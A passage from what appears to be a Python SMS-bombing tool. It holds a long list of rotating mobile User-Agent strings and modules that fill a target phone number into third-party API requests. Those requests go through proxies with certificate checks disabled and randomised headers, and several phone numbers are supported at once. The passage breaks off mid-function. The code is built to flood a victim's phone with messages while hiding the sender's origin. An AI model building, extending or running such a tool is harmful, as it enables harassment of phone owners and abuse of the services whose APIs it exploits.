Profile/MIDP-2.0 Configuration/CLDC-1.1 238 | Mozilla/4.1 (compatible; MSIE 5.0; Symbian OS; Nokia 6600;432) Opera 6.10 [en] 239 | Nokia6600/1.0 (5.27.0) SymbianOS/7.0s Series60/2.0 Profile/MIDP-2.0 Configuration/CLDC-1 240 | Nokia6680/1.0 (4.04.07) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1 241 | Mozilla/4.1 (compatible; MSIE 5.0; Symbian OS; Nokia 6600;452) Opera 6.20 [en-US] 242 | Nokia6800/2.0 (4.17) Profile/MIDP-1.0 Configuration/CLDC-1.0 UP.Link/5.1.2.9 243 | Nokia7610/2.0 (7.0642.0) SymbianOS/7.0s Series60/2.1 Profile/MIDP-2.0 Configuration/CLDC-1.0/UC Browser7.9.1.120/27/351/UCWEB 244 | Nokia7250I/1.0 (3.22) Profile/MIDP-1.0 Configuration/CLDC-1.0 245 | Nokia7250/1.0 (3.14) Profile/MIDP-1.0 Configuration/CLDC-1.0 246 | Nokia7610/2.0 (5.0509.0) SymbianOS/7.0s Series60/2.1 Profile/MIDP-2.0 Configuration/CLDC-1.0 247 | Nokia8310/1.0 (05.11) UP.Link/6.5.0.0.06.5.0.0.06.5.0.0.06.5.0.0.0 248 | Mozilla/4.0 (compatible; MSIE 5.0; Symbian )S) 249 | Opera 6.0[en]Nokia/Series-9300 250 | Mozilla/4.0 (compatible; MSIE 5.0; Series80/2.0 Nokia9300/05.22 Profile/MIDP-2.0 Configuration/CLDC-1.1) 251 | Mozilla/4.0 (compatible; MSIE 5.0; Series80/2.0 Nokia9500/4.51 Profile/MIDP-2.0 Configuration/CLDC-1.1) 252 | NokiaC3-00/5.0 (04.60) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+ 253 | Mozilla/5.0 (SymbianOS/9.3; Series60/3.2 NokiaE55-1/034.001; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.1.5 254 | Opera/9.80 (S60; SymbOS; Opera Mobi/499; U; en-GB) Presto/2.4.18 Version/10.00 255 | Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es61i 256 | Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.13918/488; U; en) Presto/2.2.0 257 | Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaE63-3/100.21.110; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413 258 | Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 259 | Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaE90-1/07.24.0.3; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413 UP.Link/6.2.3.18.0 260 | Mozilla/5.0 (MeeGo; NokiaN9) AppleWebKit/534.13 (KHTML, like Gecko) NokiaBrowser/8.5.0 Mobile Safari/534.13 261 | NokiaN70-1/5.0737.3.0.1 Series60/2.8 Profile/MIDP-2.0 Configuration/CLDC-1.1/UC Browser7.8.0.95/27/352 262 | Mozilla/5.0 (SymbianOS/9.3; U; Series60/3.2 NokiaN79-1/32.001; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413 263 | Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/20.0.019; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) BrowserNG/7.1.18124 264 | Mozilla/5.0 (SymbianOS/9.3; U; Series60/3.2 NokiaN85-1/31.002; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413 265 | Mozilla/5.0 (X11; U; Linux armv61; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1 266 | Mozilla/5.0 (X11; U; Linux armv7l; en-GB; rv:1.9.2a1pre) Gecko/20090928 Firefox/3.5 Maemo Browser 1.4.1.22 RX-51 N900 267 | Mozilla/5.0 (X11; U; Linux armv6l; en-us) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) tear 268 | Mozilla/5.0 (X11; U; Linux armv6l; en-us) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) midori 269 | Links (2.1pre31; Linux 2.6.21-omap1 armv6l; x) 270 | Mozilla/5.0 (X11; U; Linux armv6l; en-US; rv: 1.9.1a2pre) Gecko/20080813221937 Prism/0.9.1 271 | Mozilla/5.0 (X11; U; Linux armv6l; en-US; rv:1.9a6pre) Gecko/20070810 Firefox/3.0a1 Tablet browser 0.1.16 RX-34_2007SE_4.2007.38-2 272 | Opera/9.50 (J2ME/MIDP; Opera Mini/4.1.10781/298; U; en) 273 | Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaE71-1/100.07.76; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413 274 | Opera/8.01 (J2ME/MIDP; Opera Mini/3.0.6306/1528; en; U; ssr) 275 | Mozilla/4.0 (compatible; MSIE 6.0; ; Linux armv5tejl; U) Opera 8.02 [en_US] Maemo browser 0.4.31 N770/SU-18 276 | NokiaN80-3/1.0552.0.7Series60/3.0Profile/MIDP-2.0Configuration/CLDC-1.1 277 | Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 278 | Mozilla/5.0 (X11; U; Linux armv6l; en-US; rv:1.9a6pre) Gecko/20070807 Firefox/3.0a1 Tablet browser 0.1.16 RX-34_2007SE_4.2007.26-8 279 | NokiaN90-1/3.0545.5.1 Series60/2.8 Profile/MIDP-2.0 Configuration/CLDC-1.1 280 | Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95/10.0.018; 281 | Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 282 | (KHTML, like Gecko) Safari/413 283 | NokiaX3-02/5.0 (05.65) Profile/MIDP-2.1 Configuration/CLDC-1.1 UNTRUSTED/1.0/p> 284 |

Explanation: A Nokia X3. String from Ranbdr Ghale - thanks. 285 | NokiaN-Gage/1.0 SymbianOS/6.1 Series60/1.2 Profile/MIDP-1.0 Configuration/CLDC-1.0 286 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7;en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 287 | nook browser/1.0 288 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; SPV M700; OpVer 19.123.1.615) 289 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 240x320; SPV C600; OpVer 11.1.3.5) 290 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; SPV M2000; OpVer 5.31.1.124) 291 | Mozilla/5.0 (webOS/1.4.5; U; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Version/1.0 Safari/532.2 Pre/1.0 292 | PalmCentro/v0001 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource/Palm-D061; Blazer/4.5) 16;320x320 293 | Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0; Palm-Arz1) 294 | Mozilla/5.0 (webOS/1.3; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Desktop/1.0 295 | Mozilla/5.0 (webOS/1.0; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Pre/1.0 296 | Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.12) /Palm 500v/v0100 UP.Link/6.3.1.13.0 297 | Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource/Palm-D062; Blazer/4.5) 16;320x320 298 | Palm680/RC1 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; 299 | PalmSource/Palm-D053; Blazer/4.5) 16;320x320 UP.Link/6.3.1.17.06.3.1.17.0 300 | Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource/Palm-D053; Blazer/4.5) 16;320x320 UP.Link/6.3.1.17.0 301 | Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource/Palm-TunX; Blazer/4.3) 16;320x448 302 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320) 303 | Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource/hspr-H102; Blazer/4.0) 16;320x320 304 | Mozilla/4.0 (compatible; MSIE 6.0; Windows 95; PalmSource; Blazer 3.0) 16;160x160 305 | UPG1 UP/4.0 (compatible; Blazer 1.0) 306 | Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource/Palm-D050; Blazer/4.3) 16;320x320) 307 | Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0; Palm-Arz1) 308 | Mozilla/4.76 (compatible; MSIE 6.0; U; Windows 95; PalmSource; PalmOS; WebPro; Tungsten Proxyless 1.1 320x320x16) 309 | Mozilla/4.0 (compatible;MSIE 6.0;Windows95;PalmSource) Netfront/3.0;8;320x320 310 | Mozilla/4.0 (compatible;MSIE 6.0;Windows95;PalmSource) Netfront/3.0 311 | PantechP7040/JLUS04042011; Mozilla/5.0 (Profile/MIDP-2.0 Configuration/CLDC-1.1; Opera Mini/att/4.2.16479; U; en-US) Opera 9.50 312 | MobileExplorer/3.00 (Mozilla/1.22; compatible; MMEF300; Amstrad; Gamma) 313 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320) 314 | Mozilla/2.0 (compatible ; MSIE 3.02; Windows CE; PPC; 240x320) 315 | Mozilla/4.0(compatible; MSIE 4.01; Windows CE; PPC; 240x320) 316 | Mozilla/4.0(compatible; MSIE 4.01; Windows CE; PPC; 240x320) 317 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320) 318 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; RegKing; 240x320) 319 | SAGEM-myX5-2/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.0 320 | UP.Browser/6.2.2.6.d.3 (GUI) MMP/1.0 321 | Mozilla/5.0 (Linux; U; Android 2.3.6; es-es; GT-I8160 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 322 | Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I535 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 323 | Opera/9.80 (Android 4.1.2; Linux; Opera Mobi/ADR-1305251841) Presto/2.11.355 Version/12.10 324 | Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; GT-S6010 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 325 | Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; SCH-R720 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 326 | Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; SCH-I800 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 327 | Mozilla/5.0 (X11; CrOS armv7l 2913.260.0) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.99 Safari/537.11 328 | Mozilla/5.0 (Linux; U; Android 4.0.4; en-ca; SGH-I757M Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 329 | SAMSUNG-SGH-A817/A817UCKG3; Mozilla/5.0 (Profile/MIDP-2.0 Configuration/CLDC-1.1; Opera Mini/att/4.2.21648; U; en-US) Opera 9.50 330 | Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SPH-D700 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 331 | SAMSUNG-GT-S3653W/S3653WJPJB3 SHP/VPP/R5 Jasmine/1.0 Nextreaming SMM-MMS/1.2.0 profile/MIDP-2.1 configuration/CLDC-1.1 UNTRUSTED/1.0 332 | Mozilla/5.0 (Linux; U; Android 4.0.3; nl-nl; GT-I9000 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 333 | SAMSUNG-SGH-A797/A797UCIIB SHP/VPP/R5 NetFront/3.5 SMM-MMS/1.2.0 profile/MIDP-2.1 configuration/CLDC-1.1 334 | SAMSUNG-SGH-A927/A927UCJF5; Mozilla/5.0 (Profile/MIDP-2.0 Configuration/CLDC-1.1; Opera Mini/att/4.2.19039; U; en-KR) Opera 9.50 335 | Mozilla/5.0 (Linux; U; Android 2.3.5; de-de; SAMSUNG GT-S5830/S5830BUKS2 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 336 | Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; GT-I9000 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 337 | SAMSUNG-GT-S3310/1.0 SHP/VPP/R5 NetFront/3.4 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 338 | Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 339 | Mozilla/5.0 (Linux; U; Android 2.2; en-us; SGH-T959 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko Version/4.0 Mobile Safari/533.1 340 | sam-r380 UP.Browser/6.2.3.8 (GUI) MMP/2.0 341 | samsung-gt-s5620/UC Browser7.9.0.102/69/352 UNTRUSTED/1.0 342 | sam-r350 UP.Browser/6.2.3.8 (GUI) MMP/2.0 343 | SAMSUNG-S8003/1.0 SHP/VPP/R5 Jasmine/1.0 Nextreaming SMM-MMS/1.2.0 profile/MIDP-2.1 configuration/CLDC-1.1 344 | SAMSUNG-GT-S3310/1.0 SHP/VPP/R5 NetFront/3.4 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 345 | Mozilla/5.0 (Linux; U; Android 2.3.5; en-gb; GT-I9220 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 346 | SAMSUNG-SGH-T401G/T401UDJD2 NetFront/3.4 Profile/MIDP-2.0 Configuration/CLDC-1.1[TF356986033869900000000017602160239] 347 | samr810 Netfront/3.4 Mozilla/5.0 like Gecko/20060426 348 | SAMSUNG-SGH-i900/1.0 (compatible; MSIE 4.01; Windows CE; PPC)/UC Browser7.7.1.88 349 | Mozilla/5.0 (Linux; U; Android 3.0.1; de-de; GT-P7100 Build/HRI83) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 MobileSafari/534.13 350 | SAMSUNG-GT-S3310/1.0 SHP/VPP/R5 NetFront/3.4 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 351 | Mozilla/5.0 (SAMSUNG; SAMSUNG-GT-S8530/S8530XXJKA; U; Bada/1.2; de-de) AppleWebKit/533.1 (KHTML, like Gecko) Dolfin/2.2 Mobile WVGA SMM-MMS/1.2.0 OPN-B 352 | Mozilla/5.0 (Linux; U; Android 2.2;es-es;GT-I5500 Build/ FROYO) AppleWebKit/533.1 (KHTML, like Geccko) Version/4.0 Mobile Safari/533.1 353 | Mozilla/5.0 (SAMSUNG; SAMSUNG-GT-S8500/S8500XXJL2; U; Bada/1.2; fr-fr) AppleWebKit/533.1 (KHTML, like Gecko) Dolfin/2.2 Mobile WVGA SMM-MMS/1.2.0 OPN-B 354 | Mozilla/5.0 (Linux; U; Android 2.2; en-us; SCH-I800 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 355 | Mozilla/5.0 (Linux; U; Android 2.2; en-ca; SGH-T959D Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 356 | Mozilla/4.0 (BREW 3.1.5; U; en-us; Samsung; PLS_M330; POLARIS/6.1/WAP) MMP/2.0 Configuration/CLDC-1.1 357 | Mozilla/5.0 (Linux; U; Android 2.2; en-gb; GT-P1000 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 358 | Mozilla/5.0 (Linux; U; Android 2.0.1; en-us; Droid Build/ESD56) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 359 | Samsung-SPHM800 AU-MIC-M800/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UNTRUSTED/1.0 360 | SAMSUNG-SGH-A867/A867UCHJ3 SHP/VPP/R5 NetFront/35 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.0 361 | samsung sgh-e900 /netfront 3.2 362 | TELECA-/2.0 (BREW 3.1.5; U; EN-US;SAMSUNG; SPH-M800; Teleca/Q05A/INT) MMP/2.0 Profile/MIDP-2.1 Configuration/CLDC-1.1 363 | Mozilla/4.1 (U; BREW 3.1.5; en-US; Teleca/Q05A/INT) 364 | SAMSUNG-SGH-A737/UCGI3 SHP/VPP/R5 NetFront/3.4 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.0 365 | Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 MG(Novarra-Vision/6.9) 366 | SCH-A950+UP.Browser/6.2.3.2+(GUI)+MMP/2.0 367 | SAMSUNG-SGH-D900/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 368 | SAMSUNG-SGH-D900/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 369 | UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 UP.Link/6.3.1.12.0 370 | SEC-SGHE900/1.0 NetFront/3.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1378; nl; U; ssr) 371 | SEC-SGHE600 UP.Link/6.3.1.12.0 372 | SEC-SGH600 373 | SEC-SGHD410 374 | Mozilla/4.0 (compatible; MSIE 6.0; j2me) ReqwirelessWeb/3.5 375 | AU-MIC/1.1.4.0 20722 MMP/2.0 376 | OPENWAVE UNTRUSTED/1.0 377 | Mozilla/4.0 (BREW 3.1.5; U; en-us; Sanyo; NetFront/3.5.1/AMB) Boost SCP6760 378 | Opera/9.50 (J2ME/MIDP; Opera Mini/4.0.10031/230; U; en) 379 | Vodafone/1.0/703SH/SHG001 Browser/UP.Browser/7.0.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 Ext-J-Profile/JSCL-1.2.2 Ext-V-Profile/VSCL-2.0.0 380 | SHARP-TQ-GX10i/1.0 Profile/MIDP-1.0 Configuration/CLDC-1.0 UP.Browser/6.1.0.6.1.d.1 (GUI) MMP/1.0 381 | Mozilla/4.0 (compatible; MSIE 5.0; Linux 2.4.18-rmk7-pxa3-embedix armv5tel; 480x640) Opera 6.0 [en] 382 | SIE-S65/12 UP.Browser/7.0.0.1.c3 (GUI) MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/5.1.2.16 383 | SIE-ME45/05 UP.Browser/5.0.1.1.102 (GUI) 384 | SIE-S55/16 UP.Browser/6.1.0.5.c.4 (GUI) MMP/1.0 UP.Link/5.1.2.10 385 | ReqwirelessWeb/3.2 S55 386 | Mozilla/5.0 (Linux; U; Android 2.3.4; en-ca; SonyEricssonMK16a Build/4.0.2.A.0.58) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0Mobile Safari/533.1 387 | Mozilla/5.0 (Java; U; en-us; sonyericssonk800i) UCBrowser8.2.1.144/70/352/UCWEB Mobile 388 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2;.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2) UCBrowser8.2.1.144/70/352 389 | Opera/9.80 (J2ME/MIDP; Opera Mini/7.28870/27.1530; U; en) 390 | Presto/2.8.119 Version/11.10 391 | SonyEricssonT280i/R1CB002 TelecaBrowser/Q04C1-1 Profile/MIDP-2.0 Configuration/CLDC-1.1 392 | Opera/9.80 (J2ME/MIDP; Opera Mini/6.5.26955/26.1283; U; en) Presto/2.8.119 Version/10.54 393 | sonyericssonk800i/UC Browser8.0.3.107/70/352 394 | sonyericssonk800i/UC Browser7.9.0.102/70/352 395 | Mozilla/5.0 (Linux; U; Android 1.6; de-de; SonyEricssonU20i Build/1.1.A.0.8) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 396 | Opera/9.80 (J2ME/MIDP; Opera Mini/6.0.24093/24.741; U; en) Presto/2.5.25 Version/10.54 397 | Mozilla/5.0 (Linux; U; Android 2.1-update1; de-de; E10i Build/2.0.2.A.0.24) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 398 | Opera/9.80 (J2ME/MIDP; Opera Mini/5.1.22296/22.414; U; en) Presto/2.5.25 Version/10.54 399 | SonyEricssonG700/R100 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 958) Opera 8.65 [ru] 400 | SonyEricssonW595/R3EA Browser/NetFront/3.4 Profile/MIDP-2.1 Configuration/CLDC-1.1 JavaPlatform/JP-8.3.3 401 | SonyEricssonK800i/R8BF Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 402 | Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.16823/1428; U; en) Presto/2.2.0 403 | Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.13337/504; U; en) Presto/2.2.0 404 | SonyEricssonK610i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 405 | SonyEricssonK608i/R2L/SN356841000828910 406 | Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 407 | SonyEricssonK550i/R1JD Browser/NetFront/3.3 408 | Profile/MIDP-2.0 Configuration/CLDC-1.1 409 | SonyEricssonW850i/R1ED Browser/NetFront/3.3 410 | Profile/MIDP-2.0 Configuration/CLDC-1.1 411 | Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1558; en; U; ssr) 412 | SonyEricssonK610i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.2.3.15.0 413 | Opera/8.01 (J2ME/MIDP; Opera Mini/1.0.1479/HiFi; SonyEricsson P900; no; U; ssr) 414 | SonyEricssonK700i/R2N SEMC-Browser/4.0.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 415 | Opera/8.01 (J2ME/MIDP; Opera Mini/1.0.1479/HiFi; SonyEricsson P900; no; U; ssr) 416 | SonyEricssonP1i/R100 Mozilla 4.0 (compatibile; MSIE 6.0; Symbian OS;768) Opera 8.65 [hr] 417 | SonyEricssonT200/R101 418 | Mozilla/4.1 (compatible; MSIE5.0; Symbian OS); Opera 6.02 [de] 419 | Mozilla/5.0 (Linux; U; Android 3.2; de-de; Sony Tablet P Build/THMD01900) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13 420 | Mozilla/5.0 (Linux; U; Android 3.2; en-gb; Sony Tablet S Build/THMD01900) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13 421 | Mozilla/5.0 (PLAYSTATION 3; 1.00) 422 | Mozilla/4.0 (PSP (PlayStation Portable); 2.00) 423 | Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.6) (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) Sprint:PPC6800 424 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Sprint:PPC-6700; PPC; 240x320) 425 | Mozilla/4.0 (compatible; MSIE 5.5; Windows CE; PPC; 240x320) 426 | Mozilla/5.0 (X11; U; Linux armv6l; en-us) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) tear 427 | Mozilla/5.0 (Linux; U; Android 3.1; de-de; AT100 Build/HMJ37) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13 428 | NOKIAN95/UCWEB7.0.2.37/28/800 429 | Vodafone/1.0/HTC_prophet/2.15.3.113/Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320) 430 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; XBLWP7; ZuneWP7) 431 | Mozilla/5.0 (ZTE-E_N72/N72V1.0.0B02;U;Windows Mobile/6.1;Profile/MIDP-2.0 Configuration/CLDC-1.1;320*240;CTC/2.0) IE/6.0 (compatible; MSIE 4.01; Windows CE; PPC)/UC Browser7.7.1.88 432 | Mozilla/5.0 (Linux; U; Android 2.1-update1; de-de; BASE lutea Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 433 | Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Cct1) 434 | Mozilla/2.0 (compatible; MSIE 3.02; Windows CE; 240x320) 435 | Mozilla/2.0 (compatible; MSIE 3.02; Windows CE; PPC; 240x320) 436 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320) 437 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; MSN Companion 2.0; 800x600; Compaq) 438 | Mozilla/4.0 (compatible;MSIE 6.0;Windows95;PalmSource) Netfront/3.0;8;320x320 439 | Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2.1 440 | Mozilla/4.74 [en] (X11; I; ProxiNet) 441 | Mozilla/2.0 (compatible; Elaine/3.0) 442 | Mozilla/2.0 (compatible; MSIE 3.02; Windows CE; 240x320) -------------------------------------------------------------------------------- /utils/models.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | # 一些模型 3 | import os 4 | from pydantic import BaseModel 5 | from typing import Union, Optional 6 | from datetime import datetime 7 | from json import loads 8 | from random import choice 9 | 10 | 11 | headers = list() 12 | if os.path.exists("useragents"): 13 | txt_list = os.listdir("useragents") 14 | for txt in txt_list: 15 | try: 16 | with open("./useragents/{}".format(txt), 'r', encoding="UTF-8") as f: 17 | headers.extend(f.read().split('\n')) 18 | except Exception: 19 | continue 20 | 21 | 22 | class API(BaseModel): 23 | """处理自定义 API 数据""" 24 | desc: str = "Default" 25 | url: str 26 | method: str = "GET" 27 | 28 | header: Optional[Union[str, dict]] = {'User-Agent': choice(headers)} 29 | 30 | data: Optional[Union[str, dict]] 31 | 32 | def replace_data(self, content: Union[str, dict], phone: str) -> str: 33 | """ 34 | 35 | :param content: 36 | :param phone: 37 | :return: 38 | """ 39 | # 统一转换成 str 再替换. ' -> " 40 | if phone: 41 | content = str(content).replace("[phone]", phone).replace( 42 | "[timestamp]", self.timestamp_new()).replace("'", '"') 43 | 44 | # 尝试 json 化 45 | try: 46 | return loads(content.replace("'", '"')) 47 | except: 48 | return content 49 | 50 | @staticmethod 51 | def timestamp_new() -> str: 52 | """ 53 | 返回整数字符串时间戳 54 | :return: 55 | """ 56 | return str(int(datetime.now().timestamp())) 57 | 58 | def handle_api(self, phone: str = None): 59 | """ 60 | 传入手机号处理 API 61 | :param phone: 62 | :return: 63 | """ 64 | 65 | # 仅仅当传入 phone 参数时添加 Referer 66 | # fix: 这段代码很有问题....... 67 | if phone: 68 | # 进入的 header 是个字符串 69 | if self.header == "": 70 | self.header = {'Referer': self.url} 71 | 72 | self.header = self.replace_data(self.header, phone) 73 | if not self.header.get('Referer'): 74 | self.header['Referer'] = self.url # 增加 Referer 75 | 76 | self.data = self.replace_data(self.data, phone) 77 | self.url = self.replace_data(self.url, phone) 78 | # print(self) 79 | return self 80 | -------------------------------------------------------------------------------- /utils/req.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | # 请求的方法 3 | import os 4 | from httpx import Limits, Client, AsyncClient, Response, HTTPError 5 | from typing import Union, List 6 | from asyncio import Semaphore, ensure_future, gather 7 | from utils.models import API 8 | from random import choice 9 | 10 | headers = list() 11 | if os.path.exists("useragents"): 12 | txt_list = os.listdir("useragents") 13 | for txt in txt_list: 14 | try: 15 | with open("./useragents/{}".format(txt), 'r', encoding="UTF-8") as f: 16 | headers.extend(f.read().split('\n')) 17 | except Exception: 18 | continue 19 | 20 | 21 | def req_api(api: API, client: Union[Client, AsyncClient]) -> Response: 22 | """ 23 | 24 | :param api: 25 | :param client: 26 | :return: 27 | """ 28 | if isinstance(api.data, dict): 29 | resp = client.request(method=api.method, json=api.data, 30 | headers=api.header, url=api.url, timeout=10) 31 | else: 32 | resp = client.request(method=api.method, data=api.data, 33 | headers=api.header, url=api.url, timeout=10) 34 | return resp 35 | 36 | 37 | def req_func_by_proxy(api: Union[API, str], phone: Union[tuple, str], proxy: dict) -> bool: 38 | """ 39 | 通过代理请求接口方法 40 | :param api: 41 | :param phone: 42 | :param proxy: 43 | :return: 44 | """ 45 | # 多手机号支持 46 | if isinstance(phone, tuple): 47 | phone_lst = [_ for _ in phone] 48 | else: 49 | phone_lst = [phone] 50 | with Client(headers={'User-Agent': choice(headers)}, verify=False, proxies=proxy) as client: 51 | for ph in phone_lst: 52 | try: 53 | if 